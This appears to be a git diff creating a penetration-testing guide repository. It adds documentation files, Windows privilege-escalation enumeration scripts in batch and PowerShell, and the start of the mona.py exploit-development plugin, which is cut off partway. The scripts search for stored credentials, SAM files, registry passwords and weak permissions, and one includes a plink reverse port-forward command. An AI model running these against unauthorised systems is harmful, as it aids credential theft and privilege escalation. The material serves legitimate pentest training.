diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..298ea9e --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +# Minimal makefile for Sphinx documentation +# + +# You can set these variables from the command line. +SPHINXOPTS = +SPHINXBUILD = sphinx-build +SOURCEDIR = . +BUILDDIR = _build + +# Put it first so that "make" without argument is like "make help". +help: + @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) + +.PHONY: help Makefile + +# Catch-all target: route all unknown targets to Sphinx using the new +# "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). +%: Makefile + @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..7613f47 --- /dev/null +++ b/README.md @@ -0,0 +1,71 @@ +# Penetration Testing Guide + +## Getting Started + +Install sphinx and the "Read The Docs" theme: + +```bash +$ pip install sphinx sphinx_rtd_theme +``` + +## Contributing + +I've tried to stick to a layout throughout (early on I did not, if you see pages that don't match the style I'm about to describe, feel free to fix them). + +**Section Headings** + +The page title should be at the top of the page and use the following syntax. Note that the #'s must appear above and below the title, and must span the width of the title. + +``` +########## +Page Title +########## +``` + +Sections, subsections, etc use a similar syntax, but do not require an overline: + +``` +Section +======= + +Subsection +---------- + +Subsubsection +^^^^^^^^^^^^^ +``` + +If anything lower than the subsubsection is required, it is suggested that bold text is used. + +**Code Examples** + +Code blocks can be placed like so: + +``` +.. code-block:: bash + + code goes here +``` + +If possible, avoid showing prompt characters (e.g. $, #, or C:\>) unless necessary for the example. + +For inline code, use: + +``` +:code:`inline code goes here` +``` + +**Additional Markup** + +There is a very useful basic guide to Sphinx/reStructuredText here: http://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html + +**Compiling** + +How to compile after making alterations: + +```bash +$ pip install sphinx sphinx_rtd_theme +$ make clean && make html +``` + +The compiled html will be in the _build directory. diff --git a/_static/css/custom.css b/_static/css/custom.css new file mode 100644 index 0000000..1303a5f --- /dev/null +++ b/_static/css/custom.css @@ -0,0 +1,12 @@ +div.document {width:auto !important} +div.body {max-width:none !important} +div.body p {font-size:0.9em !important} + +pre {white-space:pre-wrap !important;white-space:-moz-pre-wrap !important;white-space:-pre-wrap !important;white-space:-o-pre-wrap !important;word-wrap:break-word !important;line-height:1.5em !important} +li.toctree-l1 > a {font-size:0.9em !important} +p.caption > span.caption-text {font-weight:bold !important} +div.highlight > pre {font-size:0.8em !important} +.wy-nav-content {max-width:none !important} +.rst-content table.docutils td {vertical-align:top !important;overflow-wrap:break-word !important;word-wrap:break-word !important;word-break:break-word !important;hyphens:auto !important;white-space:normal !important;} +.wy-table-responsive {overflow:unset !important} +.wy-table-responsive table {table-layout:fixed !important;max-width:100% !important;} diff --git a/_static/files/Powerless.bat b/_static/files/Powerless.bat new file mode 100644 index 0000000..0f99ba3 --- /dev/null +++ b/_static/files/Powerless.bat @@ -0,0 +1,260 @@ +@echo off +set userprofile=%cd% +mode con:cols=160 lines=9999 +Cd c:\ + +echo ------ System Info (Use full output in conjunction with windows-exploit-suggester.py)------- +:: https://github.com/GDSSecurity/Windows-Exploit-Suggester +systeminfo +echo. + +echo ----- Architecture ------- +SET Processor +echo. + +echo ------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) ------- +:: Note, in CTF boxes its not uncommon to see other low level users on the machine. It can be a temptation to want to always skip to Administrator, but sometimes it is essential that you elevate privileges to that of a different user first before being able to get admin rights. Once you get that users rights, pay close attention to their user folder. +echo Current User: %username% +whoami /all +echo --- All users, accounts and groups --- +net users +net accounts +net localgroup + +echo ------- Administrators -------- +net localgroup administrators + +echo ------- Environment Variables ------- +set +echo. + +echo ------- Additional Drives (if not run as part of a batch job replace double percent with single percent sign)-------- +for %%i in (a b d e f g h i j k l m n o p q r s t u v w x y z) do @dir %%i: 2>nul +echo. + +echo ---------------------------------------- Search for Quick Wins -------------------------------------- +echo -------- Listing contents of user directories --------- +:: In CTF machines it is VERY common for there to be artifacts used for privilege escalation within user directories. Pay special attention for files that may contain credentials, or files that maybe used as part of a scheduled task. You can typically ignore most default windows files (some of which have been filtered out as part of this script). +dir "C:\Users\" /a /b /s 2>nul | findstr /v /i "Favorites\\" | findstr /v /i "AppData\\" | findstr /v /i "Microsoft\\" | findstr /v /i "Application Data\\" +dir "C:\Documents and Settings\" /a /b /s 2>nul | findstr /v /i "Favorites\\" | findstr /v /i "AppData\\" | findstr /v /i "Microsoft\\" | findstr /v /i "Application Data\\" +echo. + +echo -------- Exploring program directories and C:\ --------- +:: These directory listings are not recursive. They are meant to give you a general overview of the programs installed on the system. Searchsploit every (non default/windows) program version, and check each program config for creds. +echo --- Program Files --- +dir "C:\Program Files" /b +echo --- Program Files (x86) --- +dir "C:\Program Files (x86)" /b +echo --- Root of C:\ ---- +dir "C:\" /b +echo. + +echo --- Inetpub (any config files in here? May need to manually drill into this folder if it exists) --- +:: The root web folder can at times be extensive, and thus we do not always want to show a recursive listing of its contents in this script but it should always be investigated regardless. +dir /a /b C:\inetpub\ + +echo --- Broad search for Apache or Xampp --- +dir /s /b apache* xampp* +echo. + +echo ---Search for Configuration and sensitive files--- +echo -- Broad search for config files -- +:: If the .NET framework is installed you will get a bunch of config files which are typically default and can be ignored. The more you practice priv esc. the more youll learn which files can be ignored, and which you should give a closer eye to. +dir /s /b php.ini httpd.conf httpd-xampp.conf my.ini my.cnf web.config +echo -- Application Host File -- +type C:\Windows\System32\inetsrv\config\applicationHost.config 2>nul +echo -- Broad search for unattend or sysprep files -- +dir /b /s unattended.xml* sysprep.xml* sysprep.inf* unattend.xml* +echo -- Stored Passwords -- +:: To use stored cmdkey credentials use runas with /savecred flag (e.g. runas /savecred /user:ACCESS\Administrator "ping 10.10.10.9") +cmdkey /list +echo. + +echo -- Checking for any accessible SAM or SYSTEM files -- +dir %SYSTEMROOT%\repair\SAM 2>nul +dir %SYSTEMROOT%\System32\config\RegBack\SAM 2>nul +dir %SYSTEMROOT%\System32\config\SAM 2>nul +dir %SYSTEMROOT%\repair\system 2>nul +dir %SYSTEMROOT%\System32\config\SYSTEM 2>nul +dir %SYSTEMROOT%\System32\config\RegBack\system 2>nul +dir /a /b /s SAM.b* +echo. + +echo -- Broad search for vnc kdbx or rdp files -- +dir /a /s /b *.kdbx *vnc.ini *.rdp +echo. + +echo --- Searching Registry for Passwords --- +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" +reg query HKLM /f password /t REG_SZ /s /k +reg query HKCU /f password /t REG_SZ /s /k +reg query "HKCU\Software\ORL\WinVNC3\Password" +reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" +echo. + +echo --- AlwaysInstallElevated Check --- +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +echo. + +echo --- Program Files and User Directories where everybody (or users) have full or modify permissions --- +icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" +icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" +icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" +icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" +icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +icacls "C:\Documents and Settings\*" 2>nul | findstr "(F)" | findstr "Everyone" +icacls "C:\Documents and Settings\*" 2>nul | findstr "(M)" | findstr "Everyone" +icacls "C:\Documents and Settings\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +icacls "C:\Documents and Settings\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +icacls "C:\Users\*" 2>nul | findstr "(F)" | findstr "Everyone" +icacls "C:\Users\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +icacls "C:\Users\*" 2>nul | findstr "(M)" | findstr "Everyone" +icacls "C:\Users\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +icacls "C:\Documents and Settings\*" /T 2>nul | findstr ":F" | findstr "BUILTIN\Users" +icacls "C:\Users\*" /T 2>nul | findstr ":F" | findstr "BUILTIN\Users" +echo. +echo ... performing same checks but using cacls instead of icacls (for older versions of Windows)... +cacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" +cacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" +cacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +cacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +cacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" +cacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" +cacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +cacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +cacls "C:\Documents and Settings\*" 2>nul | findstr "(F)" | findstr "Everyone" +cacls "C:\Documents and Settings\*" 2>nul | findstr "(M)" | findstr "Everyone" +cacls "C:\Documents and Settings\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +cacls "C:\Documents and Settings\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +cacls "C:\Users\*" 2>nul | findstr "(F)" | findstr "Everyone" +cacls "C:\Users\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" +cacls "C:\Users\*" 2>nul | findstr "(M)" | findstr "Everyone" +cacls "C:\Users\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +cacls "C:\Documents and Settings\*" /T 2>nul | findstr ":F" | findstr "BUILTIN\Users" +cacls "C:\Users\*" /T 2>nul | findstr ":F" | findstr "BUILTIN\Users" +echo. + +echo ---Domain joined? If so check domain controller for GPP files ---- +set user +echo. + +cd %userprofile% +echo ---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) --- +REM wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """ +sc query state= all > scoutput.txt +findstr "SERVICE_NAME:" scoutput.txt > Servicenames.txt +FOR /F "tokens=2 delims= " %%i in (Servicenames.txt) DO @echo %%i >> services.txt +FOR /F %%i in (services.txt) DO @sc qc %%i | findstr "BINARY_PATH_NAME" >> path.txt +find /v """" path.txt > unquotedpaths.txt +sort unquotedpaths.txt|findstr /i /v C:\WINDOWS +del /f Servicenames.txt +del /f services.txt +del /f path.txt +del /f scoutput.txt +del /f unquotedpaths.txt +echo. + +echo --------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------ +reg.exe ADD "HKCU\Software\Sysinternals\AccessChk" /v EulaAccepted /t REG_DWORD /d 1 /f + +echo --- Accesschk World writeable folders and files ---- +accesschk.exe -uwdqs "Users" c:\ /accepteula +accesschk.exe -uwdqs "Authenticated Users" c:\ /accepteula +accesschk.exe -qwsu "Everyone" * /accepteula +accesschk.exe -qwsu "Authenticated Users" * /accepteula +accesschk.exe -qwsu "Users" * /accepteula +echo. +echo --- Accesschk services with weak permissions --- +accesschk.exe -uwcqv "Authenticated Users" * /accepteula +accesschk.exe -uwcqv "Everyone" * /accepteula +accesschk.exe -uwcqv "Users" * /accepteula +echo. +echo --- Accesschk services that we can change registry values for (such as ImagePath) --- +accesschk.exe -kvqwsu "Everyone" hklm\system\currentcontrolset\services /accepteula +accesschk.exe -kvqwsu "Authenticated Users" hklm\system\currentcontrolset\services /accepteula +accesschk.exe -kvqwsu "Users" hklm\system\currentcontrolset\services /accepteula +echo. +echo ---------------------------------------- End Search for Quick Wins -------------------------------------- + +cd c:\ +echo ------- Powershell existence/version check ------- +REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion + +echo ------- Network shares ------- +net share + +echo ------- Programs that run at startup ------ +:: Note on some legacy Windows editions WMIC may fail to install/start/freeze in which case you'll need to comment out any calls to wmic +wmic startup get caption,command + +echo -------- Path (is dll hijacking possible?) ------ +echo Getting system + user path from command line (check permissions using cacls [path] or accesschk.exe -dqv [path])... +echo %path% +echo. +:: I couldnt find a way to only get system path in DOS (user path does not matter for the purpose of dll hijacking). If powershell is available you can use folderperm.ps1 script +:: https://github.com/ankh2054/windows-pentest/blob/master/Powershell/folderperms.ps1 +:: powershell.exe -ExecutionPolicy Bypass -noLogo -Command "[Environment]::GetEnvironmentVariable('Path', [System.EnvironmentVariableTarget]::Machine)" +:: Or let the script do all the work for you +:: powershell.exe -executionpolicy bypass -file folderperm.ps1 + +echo ------- Scheduled Tasks Names Only ------- +:: Look for any interesting/non-standard scheduled tasks, then view the scheduled task details list below to get a better idea of what that task is doing and who is running it). +schtasks /query /fo LIST 2>nul | findstr "TaskName" +echo. + +echo ------- Scheduled Tasks Details (taskname, author, command run, run as user) ------- +schtasks /query /fo LIST /v | findstr "TaskName Author: Run: User:" +echo. + +echo ------- Services Currently Running (check for Windows Defender or Anti-virus) --------- +net start +echo. + +echo ------- Link Running Processes to started services -------- +tasklist /SVC +echo. + +echo ------- Processes verbose output (who is running what?) -------- +:: Pay close attention to this list. Especially for those tasks run by a user other than your own. +tasklist /v +echo. + +echo ------- Patches (also listed as part of systeminfo) ------- +:: Note on some legacy Windows editions WMIC may fail to install/start/freeze in which case you'll need to comment out any calls to wmic +:: Systeminfo may at times fail to list all patches (instead showing 'file x' or something along those lines) in which case its important to have this fallback. +wmic qfe get Caption,Description,HotFixID,InstalledOn + +echo ------- Firewall ------ +netsh firewall show state +netsh firewall show config +netsh advfirewall firewall dump + +echo ------ Network information ------ +ipconfig /all + +:: Routing and ARP tables accessible with these commands... uncomment if you wish, I didnt typically find them helpful for priv esc. +REM route print +REM arp -A +echo. + +echo ------- Current connections and listening ports ------- +:: Reverse port forward anything that is not accessible remotely, and run nmap on it. If SMB is available locally, do you have creds or hashes you can pass through it after port forwarding? +netstat -ano +echo. +echo ------- REVERSE PORT FORWARD MULTIPLE PORTS AT ONCE: plink.exe -l username -pw mysecretpassword -P [port] 10.11.0.108 -R 8080:127.0.0.1:8080 -R 8000:127.0.0.1:8000 -R 443:127.0.0.1:443 ------------ +echo. + +echo --- Broad search for any possible config files which may contain passwords --- +:: The following broad config file and credential searches could result in many results. They are meant as a fall back once you have already done thorough enumeration of user directories, web directories, and program directories (in addition to having pillaged the db). +dir /s /b *pass* *cred* *vnc* *.config* +echo. + +echo --- Starting broad search in the background for any files with the word password in it. Press enter to get status occasionally --" +start /b findstr /sim password *.xml *.ini *.txt *.config *.bak 2>nul +echo. + diff --git a/_static/files/WindowsEnum.ps1 b/_static/files/WindowsEnum.ps1 new file mode 100644 index 0000000..4e525e4 --- /dev/null +++ b/_static/files/WindowsEnum.ps1 @@ -0,0 +1,101 @@ +# Usage +# run script directly from powershell for quick standard checks +# +# For quick standard checks directly from CMD: +# powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 +# +# To run extensive file searches use extended parameter (it can take a long time, be patient!): +# PS C:\> .\WindowsEnum.ps1 extended +# From CMD: +# powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 extended + + +param($extended) + +$lines="------------------------------------------" +function whost($a) { + Write-Host + Write-Host -ForegroundColor Green $lines + Write-Host -ForegroundColor Green " "$a + Write-Host -ForegroundColor Green $lines +} + + +whost "Windows Enumeration Script v 0.1 + by absolomb + www.sploitspren.com" + +$standard_commands = [ordered]@{ + + 'Basic System Information' = 'Start-Process "systeminfo" -NoNewWindow -Wait'; + 'Environment Variables' = 'Get-ChildItem Env: | ft Key,Value'; + 'Network Information' = 'Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address'; + 'DNS Servers' = 'Get-DnsClientServerAddress -AddressFamily IPv4 | ft'; + 'ARP cache' = 'Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State'; + 'Routing Table' = 'Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex'; + 'Network Connections' = 'Start-Process "netstat" -ArgumentList "-ano" -NoNewWindow -Wait | ft'; + 'Connected Drives' = 'Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft'; + 'Firewall Config' = 'Start-Process "netsh" -ArgumentList "firewall show config" -NoNewWindow -Wait | ft'; + 'Current User' = 'Write-Host $env:UserDomain\$env:UserName'; + 'User Privileges' = 'start-process "whoami" -ArgumentList "/priv" -NoNewWindow -Wait | ft'; + 'Local Users' = 'Get-WmiObject -Class Win32_UserAccount -filter "LocalAccount = True" | ft Name, Description, Disabled'; + 'Logged in Users' = 'Start-Process "qwinsta" -NoNewWindow -Wait | ft'; + 'Credential Manager' = 'start-process "cmdkey" -ArgumentList "/list" -NoNewWindow -Wait | ft' + 'User Autologon Registry Items' = 'Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" | select "Default*" | ft'; + 'Local Groups' = 'Get-WmiObject -Class Win32_Group | ft Name'; + 'Local Administrators' = 'Get-WmiObject -Class Win32_GroupUser | Where-Object GroupComponent -eq "\\$env:computername\root\cimv2:Win32_Group.Domain=""$env:computername"",Name=""Administrators""" | ft PartComponent'; + 'User Directories' = 'Get-ChildItem C:\Users | ft Name'; + 'Searching for SAM backup files' = 'Test-Path %SYSTEMROOT%\repair\SAM ; Test-Path %SYSTEMROOT%\system32\config\regback\SAM'; + 'Running Processes' = 'gwmi -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize'; + 'Installed Software Directories' = 'Get-ChildItem "C:\Program Files", "C:\Program Files (x86)" | ft Parent,Name,LastWriteTime'; + 'Software in Registry' = 'Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name'; + 'Folders with Everyone Permissions' = 'Get-ChildItem "C:\Program Files\*", "C:\Program Files (x86)\*" | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match "Everyone"} } catch {}} | ft'; + 'Folders with BUILTIN\User Permissions' = 'Get-ChildItem "C:\Program Files\*", "C:\Program Files (x86)\*" | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match "BUILTIN\Users"} } catch {}} | ft'; + 'Checking registry for AlwaysInstallElevated' = 'Test-Path -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer" | ft'; + 'Unquoted Service Paths' = 'gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike ''"*''} | select PathName, DisplayName, Name | ft'; + 'Scheduled Tasks' = 'Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State'; + 'Tasks Folder' = 'Get-ChildItem C:\Windows\Tasks | ft'; + 'Startup Commands' = 'Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl'; + +} + +$extended_commands = [ordered]@{ + + 'Searching for Unattend and Sysprep files' = 'Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} | Out-File C:\temp\unattendfiles.txt'; + 'Searching for web.config files' = 'Get-Childitem –Path C:\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue | Out-File C:\temp\webconfigfiles.txt'; + 'Searching for other interesting files' = 'Get-Childitem –Path C:\ -Include *password*,*cred*,*vnc* -File -Recurse -ErrorAction SilentlyContinue | Out-File C:\temp\otherfiles.txt'; + 'Searching for various config files' = 'Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue | Out-File C:\temp\configfiles.txt' + 'Searching HKLM for passwords' = 'reg query HKLM /f password /t REG_SZ /s | Out-File C:\temp\hklmpasswords.txt'; + 'Searching HKCU for passwords' = 'reg query HKCU /f password /t REG_SZ /s | Out-File C:\temp\hkcupasswords.txt'; + 'Searching for files with passwords' = 'Get-ChildItem c:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.PSPath -notlike "*C:\temp*" -and $_.PSParentPath -notlike "*Reference Assemblies*" -and $_.PSParentPath -notlike "*Windows Kits*"}| Select-String -Pattern "password" | Out-File C:\temp\password.txt'; + +} +function RunCommands($commands) { + ForEach ($command in $commands.GetEnumerator()) { + whost $command.Name + Invoke-Expression $command.Value + } +} + +RunCommands($standard_commands) + +if ($extended) { + if ($extended.ToLower() -eq 'extended') { + $result = Test-Path C:\temp + if ($result -eq $False) { + New-Item C:\temp -type directory + } + whost "Results writing to C:\temp\ + This may take a while..." + RunCommands($extended_commands) + whost "Script Finished! Check your files in C:\temp\" + } +} +else { + whost "Script finished!" +} + + + + + diff --git a/_static/files/accesschk.exe b/_static/files/accesschk.exe new file mode 100644 index 0000000..be027e6 Binary files /dev/null and b/_static/files/accesschk.exe differ diff --git a/_static/files/breaking-out-of-restricted-shells.pdf b/_static/files/breaking-out-of-restricted-shells.pdf new file mode 100644 index 0000000..8bb30b7 Binary files /dev/null and b/_static/files/breaking-out-of-restricted-shells.pdf differ diff --git a/_static/files/jtr-cheat-sheet.pdf b/_static/files/jtr-cheat-sheet.pdf new file mode 100644 index 0000000..674074c Binary files /dev/null and b/_static/files/jtr-cheat-sheet.pdf differ diff --git a/_static/files/mona.py b/_static/files/mona.py new file mode 100644 index 0000000..ce06199 --- /dev/null +++ b/_static/files/mona.py @@ -0,0 +1,18557 @@ +""" + +U{Corelan} + +Copyright (c) 2011-2018, Peter Van Eeckhoutte - Corelan GCV +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Corelan nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL PETER VAN EECKHOUTTE OR CORELAN GCV BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +$Revision: 583 $ +$Id: mona.py 583 2018-06-27 15:35:00Z corelanc0d3r $ +""" + +__VERSION__ = '2.0' +__REV__ = filter(str.isdigit, '$Revision: 583 $') +__IMM__ = '1.8' +__DEBUGGERAPP__ = '' +arch = 32 +win7mode = False + +# try: +# import debugger +# except: +# pass +try: + import immlib as dbglib + from immlib import LogBpHook + __DEBUGGERAPP__ = "Immunity Debugger" +except: + try: + import pykd + import windbglib as dbglib + from windbglib import LogBpHook + dbglib.checkVersion() + arch = dbglib.getArchitecture() + __DEBUGGERAPP__ = "WinDBG" + except SystemExit, e: + print "-Exit." + import sys + sys.exit(e) + except Exception: + #import traceback + print "Do not run this script outside of a debugger !" + #print traceback.format_exc() + import sys + exit(1) + +import getopt + +try: + #import debugtypes + #import libdatatype + from immutils import * +except: + pass + + +import os +import re +import sys +import types +import random +import shutil +import struct +import string +import types +import urllib +import inspect +import datetime +import binascii +import itertools +import traceback +import pickle +import json + +from operator import itemgetter +from collections import defaultdict, namedtuple + +import cProfile +import pstats + +import copy + +DESC = "Corelan Team exploit development swiss army knife" + +#---------------------------------------# +# Global stuff # +#---------------------------------------# + +TOP_USERLAND = 0x7fffffff +g_modules={} +MemoryPageACL={} +global CritCache +global vtableCache +global stacklistCache +global segmentlistCache +global VACache +global NtGlobalFlag +global FreeListBitmap +global memProtConstants +global currentArgs +global disasmUpperChecked +global disasmIsUpper +global configFileCache + +NtGlobalFlag = -1 +FreeListBitmap = {} +memProtConstants = {} +CritCache={} +vtableCache={} +stacklistCache={} +segmentlistCache={} +configFileCache={} +VACache={} +ptr_counter = 0 +ptr_to_get = -1 +silent = False +ignoremodules = False +noheader = False +dbg = dbglib.Debugger() +disasmUpperChecked = False +disasmIsUpper = False + +if __DEBUGGERAPP__ == "WinDBG": + if pykd.getSymbolPath().replace(" ","") == "": + dbg.log("") + dbg.log("** Warning, no symbol path set ! ** ",highlight=1) + sympath = "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" + dbg.log(" I'll set the symbol path to %s" % sympath) + pykd.setSymbolPath(sympath) + dbg.log(" Symbol path set, now reloading symbols...") + dbg.nativeCommand(".reload") + dbg.log(" All set. Please restart WinDBG.") + dbg.log("") + +osver = dbg.getOsVersion() +if osver in ["6", "7", "8", "vista", "win7", "2008server", "win8", "win8.1", "win10"]: + win7mode = True + +heapgranularity = 8 +if arch == 64: + heapgranularity = 16 + +offset_categories = ["xp", "vista", "win7", "win8", "win10"] + +# offset = [x86,x64] +offsets = { + "FrontEndHeap" : { + "xp" : [0x580,0xad8], + "vista" : [0x0d4,0x178], + "win8" : [0x0d0,0x170], + "win10" : { + 14393 : [0x0d4,0x178] + } + }, + "FrontEndHeapType" : { + "xp" : [0x586,0xae2], + "vista" : [0x0da,0x182], + "win8" : [0x0d6,0x17a], + "win10" : { + 14393 : [0x0da,0x182] + } + }, + "VirtualAllocdBlocks" : { + "xp" : [0x050,0x090], + "vista" : [0x0a0,0x118], + "win8" : [0x09c,0x110] + }, + "SegmentList" : { + "vista" : [0x0a8,0x128], + "win8" : [0x0a4,0x120] + } +} + +#---------------------------------------# +# Populate constants # +#---------------------------------------# +memProtConstants["X"] = ["PAGE_EXECUTE",0x10] +memProtConstants["RX"] = ["PAGE_EXECUTE_READ",0x20] +memProtConstants["RWX"] = ["PAGE_EXECUTE_READWRITE",0x40] +memProtConstants["N"] = ["PAGE_NOACCESS",0x1] +memProtConstants["R"] = ["PAGE_READONLY",0x2] +memProtConstants["RW"] = ["PAGE_READWRITE",0x4] +memProtConstants["GUARD"] = ["PAGE_GUARD",0x100] +memProtConstants["NOCACHE"] = ["PAGE_NOCACHE",0x200] +memProtConstants["WC"] = ["PAGE_WRITECOMBINE",0x400] + +#---------------------------------------# +# Utility functions # +#---------------------------------------# + +def resetGlobals(): + """ + Clears all global variables + """ + global CritCache + global vtableCache + global stacklistCache + global segmentlistCache + global VACache + global NtGlobalFlag + global FreeListBitmap + global memProtConstants + global currentArgs + + CritCache = None + vtableCache = None + stacklistCache = None + segmentlistCache = None + VACache = None + NtGlobalFlag = None + FreeListBitmap = None + memProtConstants = None + currentArgs = None + disasmUpperChecked = False + + return + +def toHex(n): + """ + Converts a numeric value to hex (pointer to hex) + + Arguments: + n - the value to convert + + Return: + A string, representing the value in hex (8 characters long) + """ + if arch == 32: + return "%08x" % n + if arch == 64: + return "%016x" % n + +def sanitize_module_name(modname): + """ + Sanitizes a module name so it can be used as a variable + """ + return modname.replace(".", "_") + + +def DwordToBits(srcDword): + """ + Converts a dword into an array of 32 bits + """ + + bit_array = [] + h_str = "%08x" % srcDword + h_size = len(h_str) * 4 + bits = (bin(int(h_str,16))[2:]).zfill(h_size)[::-1] + for bit in bits: + bit_array.append(int(bit)) + return bit_array + + +def getDisasmInstruction(disasmentry): + """ returns instruction string, checks if ASM is uppercase and converts to upper if needed """ + instrline = disasmentry.getDisasm() + global disasmUpperChecked + global disasmIsUpper + if disasmUpperChecked: + if not disasmIsUpper: + instrline = instrline.upper() + else: + disasmUpperChecked = True + interim_instr = instrline.upper() + if interim_instr == instrline: + disasmIsUpper = True + else: + disasmIsUpper = False + dbg.log("** It looks like you've configured the debugger to produce lowercase disassembly. Got it, all good **", highlight=1) + instrline = instrline.upper() + return instrline + + +def multiSplit(thisarg,delimchars): + """ splits a string into an array, based on provided delimeters""" + splitparts = [] + thispart = "" + for c in str(thisarg): + if c in delimchars: + thispart = thispart.replace(" ","") + if thispart != "": + splitparts.append(thispart) + splitparts.append(c) + thispart = "" + else: + thispart += c + if thispart != "": + splitparts.append(thispart) + return splitparts + + +def getAddyArg(argaddy): + """ + Tries to extract an address from a specified argument + addresses and values will be considered hex + (unless you specify 0n before a value) + registers are allowed too + """ + findaddy = 0 + addyok 